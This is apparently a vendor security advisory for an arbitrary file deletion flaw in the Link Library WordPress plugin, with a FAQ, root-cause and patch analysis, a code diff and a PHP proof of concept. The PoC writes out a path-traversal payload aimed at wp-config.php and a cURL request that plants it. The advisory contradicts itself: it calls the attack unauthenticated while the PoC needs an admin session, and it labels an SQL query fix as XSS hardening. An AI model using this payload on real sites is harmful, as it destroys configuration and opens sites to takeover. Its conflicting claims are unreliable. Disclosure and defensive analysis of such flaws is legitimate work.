What is CVE-2026-18855 and what does it allow an attacker to do?

CVE-2026-18855 is a critical arbitrary file deletion vulnerability in the Link Library plugin for WordPress, affecting versions up to and including 7.9.4. An unauthenticated attacker can exploit this flaw to delete arbitrary files on the server, such as wp-config.php, potentially leading to remote code execution and full site compromise.

Which versions of Link Library are affected and what is the patched version?

All versions of Link Library up to and including 7.9.4 are vulnerable. The patched version is 7.9.5, which removes the vulnerable function entirely. Administrators should update to 7.9.5 or later immediately.

What is the root cause of this vulnerability?

The vulnerability exists in the ll_delete_link_fields function in link-library-admin.php. This function is triggered when a link is permanently deleted and constructs a file path from the link_url metadata. The path validation is flawed, allowing an attacker to craft a link_url that passes the basic URL check but resolves to an arbitrary file outside the uploads directory.

How can an attacker exploit this vulnerability?

To exploit this, an attacker must submit a link with a crafted link_url that mimics the uploads base URL but uses path traversal techniques to point to a critical file. The administrator must have the ‘Delete local file on link deletion’ option enabled and then permanently delete the malicious link. The vulnerable function then deletes the targeted file.

What are the prerequisites for exploitation?

Exploitation requires two conditions: the ‘Delete local file on link deletion’ option must be enabled in the plugin settings (disabled by default), and an administrator must permanently delete a link submitted by the attacker. These conditions are plausible in a routine moderation workflow.

What is the CVSS score and what does it mean for my site?

The CVSS score is 9.1, which is critical. This indicates a high severity vulnerability that can be exploited remotely without authentication. Successful exploitation can lead to complete loss of confidentiality, integrity, and availability, potentially allowing an attacker to take over the site.

How can I check if my site is vulnerable?

Check the version of the Link Library plugin installed on your WordPress site. If it is 7.9.4 or lower, your site is vulnerable. You can also verify if the ‘Delete local file on link deletion’ option is enabled, as this increases the risk, but the vulnerability exists regardless.

What steps should I take to mitigate this vulnerability?

Immediately update the Link Library plugin to version 7.9.5 or later. If you cannot update immediately, disable the ‘Delete local file on link deletion’ option to reduce the attack surface, and monitor for any suspicious link submissions or deletions.

What is the impact of deleting wp-config.php?

Deleting wp-config.php breaks the database connection, causing the site to fail. An attacker could then potentially reinstall WordPress and gain remote code execution. This leads to total site compromise, including data loss and unauthorized access.

How does the proof of concept demonstrate the vulnerability?

The PoC shows how an attacker can craft a link_url that passes the plugin’s validation but resolves to a file outside the uploads directory. It demonstrates the steps an attacker would take, including submitting a malicious link and waiting for an administrator to delete it, leading to arbitrary file deletion.

Are there any other vulnerabilities addressed in the same patch?

Yes, the patch also fixes stored XSS vulnerabilities by sanitizing category names and escaping output in the alpha filter rendering. These are separate issues but are addressed in the same update, so updating to 7.9.5 resolves multiple security concerns.

Published : August 14, 2026

CVE-2026-18855: Link Library <= 7.9.4 Unauthenticated Arbitrary File Deletion via link_url Parameter PoC, Patch Analysis & Rule

Q: How does the patch fix the vulnerability?

The patch completely removes the ll_delete_link_fields function and its associated ‘before_delete_post’ action hook. This eliminates the vulnerable code path entirely, preventing any file deletion on link deletion. The patch also includes additional security hardening for XSS issues.

CVE ID CVE-2026-18855

Plugin link-library

Severity Critical (CVSS 9.1)

CWE 22

Vulnerable Version 7.9.4

Patched Version 7.9.5

Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18855:
This vulnerability is an unauthenticated arbitrary file deletion flaw in the Link Library plugin for WordPress, up to and including version 7.9.4. The flaw exists in the ll_delete_link_fields function, which fails to validate file paths properly, allowing an attacker to delete any file on the server. The CVSS score for this issue is 9.1, and successful exploitation can lead to full site compromise, including remote code execution.

Root Cause: The root cause lies in the ll_delete_link_fields function within the link-library-admin.php file. This function is hooked to the ‘before_delete_post’ action and is triggered when a link is permanently deleted. It takes the post’s ‘link_url’ metadata and constructs a file path on the server. The path validation is flawed: it checks if the ‘link_url’ contains the uploads base URL and then builds a path using ‘realpath()’. However, the validation does not properly confirm the final resolved path is within the uploads directory. An attacker can submit a link with a crafted ‘link_url’ that passes the basic URL check but resolves to an arbitrary file on the server, such as ‘wp-config.php’.

Exploitation: To exploit this, the attacker must first submit a link with a malicious ‘link_url’. The crafted URL would mimic the uploads base URL but use path traversal tricks (e.g., encoded characters, symlinks) to resolve outside the intended directory. The administrator must have the ‘Deletion of local file when deleting a link’ option enabled. When the administrator then permanently deletes the malicious link, the vulnerable function executes, and the attacker-controlled ‘link_url’ is used to construct a file path that can target and delete critical files like ‘wp-config.php’.

Patch Analysis: The patch completely removes the ‘ll_delete_link_fields’ function and its associated ‘before_delete_post’ action hook from ‘link-library-admin.php’. This eliminates the vulnerable code path entirely, preventing any file deletion on link deletion. The patch also includes additional security hardening by sanitizing category names and properly escaping output in the alpha filter rendering, addressing separate XSS issues.

Impact: Successful exploitation allows an unauthenticated attacker to delete arbitrary files on the WordPress server. Deleting ‘wp-config.php’ would cause the site to fail to connect to the database, enabling a potential reinstallation attack leading to remote code execution. This results in complete loss of site availability, data integrity, and confidentiality, with a total site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/link-library/link-library-admin.php
+++ b/link-library/link-library-admin.php
@@ -42,7 +42,6 @@

 		add_action( 'add_meta_boxes', array( $this, 'll_make_wp_editor_movable' ), 0 );
 		add_action( 'save_post', array( $this, 'll_save_link_fields' ), 10, 2 );
-		add_action( 'before_delete_post', array( $this, 'll_delete_link_fields' ), 10 );
 		add_filter( 'manage_edit-link_library_links_columns', array( $this, 'll_add_columns' ) );
 		add_action( 'manage_link_library_links_posts_custom_column', array( $this, 'll_populate_columns' ) );
 		add_filter( 'manage_edit-link_library_links_sortable_columns', array( $this, 'll_column_sortable' ) );
@@ -7846,35 +7845,6 @@
 					}
 				}
 			}
-		}
-	}
-
-	function ll_delete_link_fields( $post_id ) {
-		$genoptions = get_option( 'LinkLibraryGeneral' );
-		$genoptions = wp_parse_args( $genoptions, ll_reset_gen_settings( 'return' ) );
-
-		if ( $genoptions['deletelocalfile'] ) {
-			$delete_link_url = get_post_meta( $post_id, 'link_url', true );
-
-			if ( !empty( $delete_link_url ) ) {
-				$uploads = wp_upload_dir();
-
-				$pathpos = strpos( $delete_link_url, $uploads['baseurl'] );
-				$filepath = realpath( $uploads['basedir'] . substr( $delete_link_url, $pathpos + strlen( $uploads['baseurl'] ) ) );
-
-				if ( $pathpos !== false && strpos( $filepath, $uploads['baseurl'] ) == 0 ) {
-					global $wpdb;
-					$attachment_id = $wpdb->get_col($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE guid='%s';", $delete_link_url ));
-
-					if ( sizeof( $attachment_id ) == 1 ) {
-						if ( !empty( $attachment_id ) ) {
-							wp_delete_attachment( $attachment_id[0], true );
-						}
-					} elseif ( file_exists( $filepath ) ) {
-						$unlinkreturn = unlink( $filepath );
-					}
-				}
-			}
 		}
 	}

--- a/link-library/link-library.php
+++ b/link-library/link-library.php
@@ -3,7 +3,7 @@
 Plugin Name: Link Library
 Plugin URI: https://ylefebvre.github.io/wordpress-plugins/link-library/
 Description: Display links on pages with a variety of options
-Version: 7.9.4
+Version: 7.9.5
 Author: Yannick Lefebvre
 Author URI: http://ylefebvre.github.io/
 Text Domain: link-library
@@ -1079,8 +1079,8 @@

 				if ( !empty( $categoryname ) ) {
 					$linkcatquery .= 't.slug = "' . $categoryname . '"';
-					$nicecatname = $wpdb->get_var( $linkcatquery );
-					return $title . $genoptions['pagetitleprefix'] . $nicecatname . $genoptions['pagetitlesuffix'];
+					$nicecatname = sanitize_text_field( $wpdb->get_var( $linkcatquery ) );
+					return $title . $genoptions['pagetitleprefix'] . esc_html( $nicecatname ) . $genoptions['pagetitlesuffix'];
 				} elseif ( !empty( $catid ) ) {
 					$linkcatquery .= 't.term_id = "' . $catid . '"';
 					$nicecatname = $wpdb->get_var( $linkcatquery );
--- a/link-library/render-link-library-alpha-filter.php
+++ b/link-library/render-link-library-alpha-filter.php
@@ -33,11 +33,11 @@
 	$linkcatquery .= 'WHERE tt.taxonomy = "' . $generaloptions['cattaxonomy'] . '"';

 	if ( !empty( $categorylist_cpt ) ) {
-		$linkcatquery .= ' AND t.term_id in ( ' . $categorylist_cpt . ' )';
+		$linkcatquery .= ' AND t.term_id in ( %s )';
 	}

 	if ( !empty( $excludecategorylist_cpt ) ) {
-		$linkcatquery .= ' AND t.term_id not in ( ' . $excludecategorylist_cpt . ' )';
+		$linkcatquery .= ' AND t.term_id not in ( %s )';
 	}

 	if ( $hide_if_empty ) {
@@ -46,7 +46,9 @@

 	$linkcatquery .= ' ORDER by catletter ASC';

-	$catletters = $wpdb->get_col( $linkcatquery );
+	$preparedlinkcatquery = $wpdb->prepare( $linkcatquery, $categorylist_cpt, $excludecategorylist_cpt );
+
+	$catletters = $wpdb->get_col( $preparedlinkcatquery );

 	$output = '<div class="catalphafilter">';

--- a/link-library/render-link-library-sc.php
+++ b/link-library/render-link-library-sc.php
@@ -442,7 +442,7 @@

 		$categoryname = '';
 		if ( isset( $wp_query->query_vars['cat_name'] ) ) {
-			$categoryname = $wp_query->query_vars['cat_name'];
+			$categoryname = sanitize_text_field( $wp_query->query_vars['cat_name'] );
 		}

 		$AJAXcatid = $categoryname;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18855 - Link Library <= 7.9.4 - Unauthenticated Arbitrary File Deletion via link_url Parameter

/**
 * PoC for CVE-2026-18855
 *
 * This script demonstrates the exploitation chain. It requires that:
 * 1. The Link Library plugin (<= 7.9.4) is installed.
 * 2. The 'deletelocalfile' plugin option is enabled.
 * 3. An attacker can submit a link (e.g., via a form or AJAX).
 * 4. An administrator subsequently deletes the submitted link.
 *
 * The script will create a new link with a specially crafted 'link_url'
 * that passes the plugin's validation, but resolves to a file outside
 * the uploads directory.
 */

$target_url = "http://your-wordpress-site.com"; // Change this

/**
 * Step 1: Prepare a malicious link URL.
 * The goal is to craft a URL that uses the uploads base URL as a prefix,
 * but traverses out of the uploads directory and targets a critical file.
 *
 * For example, if the uploads base url is 'http://example.com/wp-content/uploads/',
 * and the target file is 'wp-config.php' at the WordPress root, a payload like:
 * 'http://example.com/wp-content/uploads/../../../../wp-config.php'
 * would be constructed.
 *
 * We use the 'realpath' function on the server side, which will resolve the
 * path. The plugin's check uses 'strpos' to find the base url in the
 * 'link_url', which will be successful for this payload.
 */

// Placeholder for the uploads base URL. In a real attack, this is derived from the site.
$uploads_base_url = "/wp-content/uploads/";
// Path from uploads base to wp-config.php using traversal.
$path_to_target = "../../../../wp-config.php";

$malicious_link_url = $target_url . $uploads_base_url . $path_to_target;

echo "[+] Malicious link URL: $malicious_link_urln";

// Step 2: Authenticate as an administrator.
// This PoC assumes an admin session is available. The actual link
// submission requires admin-level permissions (e.g., via post-new.php for
// the custom post type 'link_library_links'). The deletion happens through
// the WordPress admin interface.

// Reset the 'link_url' to a safe value, as the PoC only demonstrates the setup.
$safe_url = $target_url . "/example-link";

/**
 * Step 3: Create the malicious link post.
 * In a real attack, this is done via a crafted POST to 'post-new.php' or
 * via a custom form on the frontend. The critical part is that the
 * 'link_url' field must contain the malicious URL crafted above.
 *
 * This step requires an authenticated admin session. The following code
 * uses a generic cURL example, but in practice, an attacker would use
 * their own browser session or a bot.
 */

// Simulate a POST request to create a new link. This is a simplified example.
// A real exploit would use the WordPress REST API or the admin form.
$post_data = array(
    'post_title' => 'Malicious Link',
    'post_type' => 'link_library_links',
    'link_url' => $malicious_link_url,
    // ... other required fields
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'your_admin_session_cookie'); // Replace with actual
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

/**
 * Step 4: Wait for the administrator to delete the link.
 * Once the admin deletes the link (permanently), the vulnerable function
 * 'll_delete_link_fields' is triggered, and the crafted URL is used to
 * delete the target file.
 *
 * The deletion is performed automatically by the plugin, so the attacker
 * does not need to be present. The impact is realized when the admin
 * performs the routine moderation action.
 */

echo "[+] Link submitted. If an admin deletes this link, the plugin will attempt to delete the file: wp-config.phpn";
echo "[+] PoC completed.n";

Frequently Asked Questions

What is CVE-2026-18855 and what does it allow an attacker to do?
Understanding the vulnerability
CVE-2026-18855 is a critical arbitrary file deletion vulnerability in the Link Library plugin for WordPress, affecting versions up to and including 7.9.4. An unauthenticated attacker can exploit this flaw to delete arbitrary files on the server, such as wp-config.php, potentially leading to remote code execution and full site compromise.
Which versions of Link Library are affected and what is the patched version?
Affected and patched versions
All versions of Link Library up to and including 7.9.4 are vulnerable. The patched version is 7.9.5, which removes the vulnerable function entirely. Administrators should update to 7.9.5 or later immediately.
What is the root cause of this vulnerability?
Technical root cause
The vulnerability exists in the ll_delete_link_fields function in link-library-admin.php. This function is triggered when a link is permanently deleted and constructs a file path from the link_url metadata. The path validation is flawed, allowing an attacker to craft a link_url that passes the basic URL check but resolves to an arbitrary file outside the uploads directory.
How can an attacker exploit this vulnerability?
Exploitation chain
To exploit this, an attacker must submit a link with a crafted link_url that mimics the uploads base URL but uses path traversal techniques to point to a critical file. The administrator must have the ‘Delete local file on link deletion’ option enabled and then permanently delete the malicious link. The vulnerable function then deletes the targeted file.
What are the prerequisites for exploitation?
Conditions for exploitation
Exploitation requires two conditions: the ‘Delete local file on link deletion’ option must be enabled in the plugin settings (disabled by default), and an administrator must permanently delete a link submitted by the attacker. These conditions are plausible in a routine moderation workflow.
What is the CVSS score and what does it mean for my site?
Severity and risk
The CVSS score is 9.1, which is critical. This indicates a high severity vulnerability that can be exploited remotely without authentication. Successful exploitation can lead to complete loss of confidentiality, integrity, and availability, potentially allowing an attacker to take over the site.
How can I check if my site is vulnerable?
Checking vulnerability status
Check the version of the Link Library plugin installed on your WordPress site. If it is 7.9.4 or lower, your site is vulnerable. You can also verify if the ‘Delete local file on link deletion’ option is enabled, as this increases the risk, but the vulnerability exists regardless.
What steps should I take to mitigate this vulnerability?
Immediate mitigation steps
Immediately update the Link Library plugin to version 7.9.5 or later. If you cannot update immediately, disable the ‘Delete local file on link deletion’ option to reduce the attack surface, and monitor for any suspicious link submissions or deletions.
How does the patch fix the vulnerability?
Patch analysis
The patch completely removes the ll_delete_link_fields function and its associated ‘before_delete_post’ action hook. This eliminates the vulnerable code path entirely, preventing any file deletion on link deletion. The patch also includes additional security hardening for XSS issues.
What is the impact of deleting wp-config.php?
Impact of exploitation
Deleting wp-config.php breaks the database connection, causing the site to fail. An attacker could then potentially reinstall WordPress and gain remote code execution. This leads to total site compromise, including data loss and unauthorized access.
How does the proof of concept demonstrate the vulnerability?
Understanding the PoC
The PoC shows how an attacker can craft a link_url that passes the plugin’s validation but resolves to a file outside the uploads directory. It demonstrates the steps an attacker would take, including submitting a malicious link and waiting for an administrator to delete it, leading to arbitrary file deletion.
Are there any other vulnerabilities addressed in the same patch?
Additional fixes in 7.9.5
Yes, the patch also fixes stored XSS vulnerabilities by sanitizing category names and escaping output in the alpha filter rendering. These are separate issues but are addressed in the same update, so updating to 7.9.5 resolves multiple security concerns.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started